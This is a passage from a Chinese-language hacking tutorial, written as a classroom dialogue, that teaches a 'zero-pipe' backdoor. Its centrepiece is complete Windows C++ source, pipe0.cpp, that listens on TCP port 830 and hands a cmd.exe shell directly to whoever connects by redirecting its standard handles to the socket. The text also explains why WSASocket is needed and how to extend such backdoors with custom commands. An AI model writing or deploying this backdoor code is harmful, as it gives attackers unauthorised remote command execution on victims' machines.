3.5.1 更简单的办法——零管道后门

“我们讲了双管道后门、单管道后门,其实还可以有不用新建管道的后门——零管道后门!”老师说道。

“啊?不用管道?那进程间怎么通信呢?”

“不是不用管道,”老师纠正道,“而是不用新建管道。”

“哦?”大家疑惑不解。

“其实是这样的,我们用Socket句柄直接替代CMD进程的输入和输出句柄,就像这样:”

si.hStdInput = si.hStdOutput = si.hStdError = (void *)clientFD;

“哦?还可以这样啊!”大家一愣。

“对,这样替换后CMD的输入输出就可以直接和远程通信了,省去了进程间传输的所有东西。”

“啊?”

“我们来看看实现,”老师还提醒了一句,“但要注意,要用 WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0) 来建立Socket才能像这样替换。因为WSASocket()创建的Socket默认是非重叠套接字,这样才可以直接将cmd.exe的stdin、stdout、stderr转向到套接字。而socket()函数创建的Socket是重叠套接字,就不能这样。”

“组合起来,得到我们的零管道程序‘pipe0.cpp’,如下:”

#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib,"Ws2_32")
int main()
{
         WSADATA ws;
         SOCKET listenFD;
         int ret;
         //初始化wsa
         WSAStartup(MAKEWORD(2,2),&ws);
         //注意要用WSASocket
         listenFD = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
         //监听本机830端口
         struct sockaddr_in server;
         server.sin_family = AF_INET;
         server.sin_port = htons(830);
         server.sin_addr.s_addr=ADDR_ANY;
ret=bind(listenFD,(sockaddr *)&server,sizeof(server));
         ret=listen(listenFD,2);
         //如果客户请求830端口,接受连接
         int iAddrSize = sizeof(server);
         SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);
         STARTUPINFO si;
         ZeroMemory(&si,sizeof(si));
         si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
         si.wShowWindow = SW_HIDE;
         si.wShowWindow = SW_SHOWNORMAL;
         si.hStdInput = si.hStdOutput = si.hStdError = (void *)clientFD;
         char cmdLine[] = "cmd.exe";
         PROCESS_INFORMATION ProcessInformation;
         //建立进程 
  ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
         return 0;
}

“哇!好简短啊!”小倩说道。

“我们测试一下,运行,打开了830端口,而且可以登陆交互,如图3-34。”

“呀!这么简单的后门,写起来多容易啊!”

“是啊!这么好的方法怎么不早说呢?我们就不用写双管道和单管道了。”大家说。

“NO,”老师纠正道,“这三种开端口后门的办法,各有优劣。零管道编写方法的确比较方便,但用户一输入命令就直接进入CMD进程执行了。有时我们想预先处理一下用户的命令,就需要用双管道或单管道的方法。”

“哦?”

“比如,我们可以在后门中加入列举进程的命令——pslist。CMD里是没有这些命令的,所以我们就需要先判断用户传过来的是pslist,然后在程序里面实现列举进程的功能,而不是传给CMD进程执行。”

“真是尺有所短,寸有所长啊!”同学们感叹道。

“说的好,就是这样的!”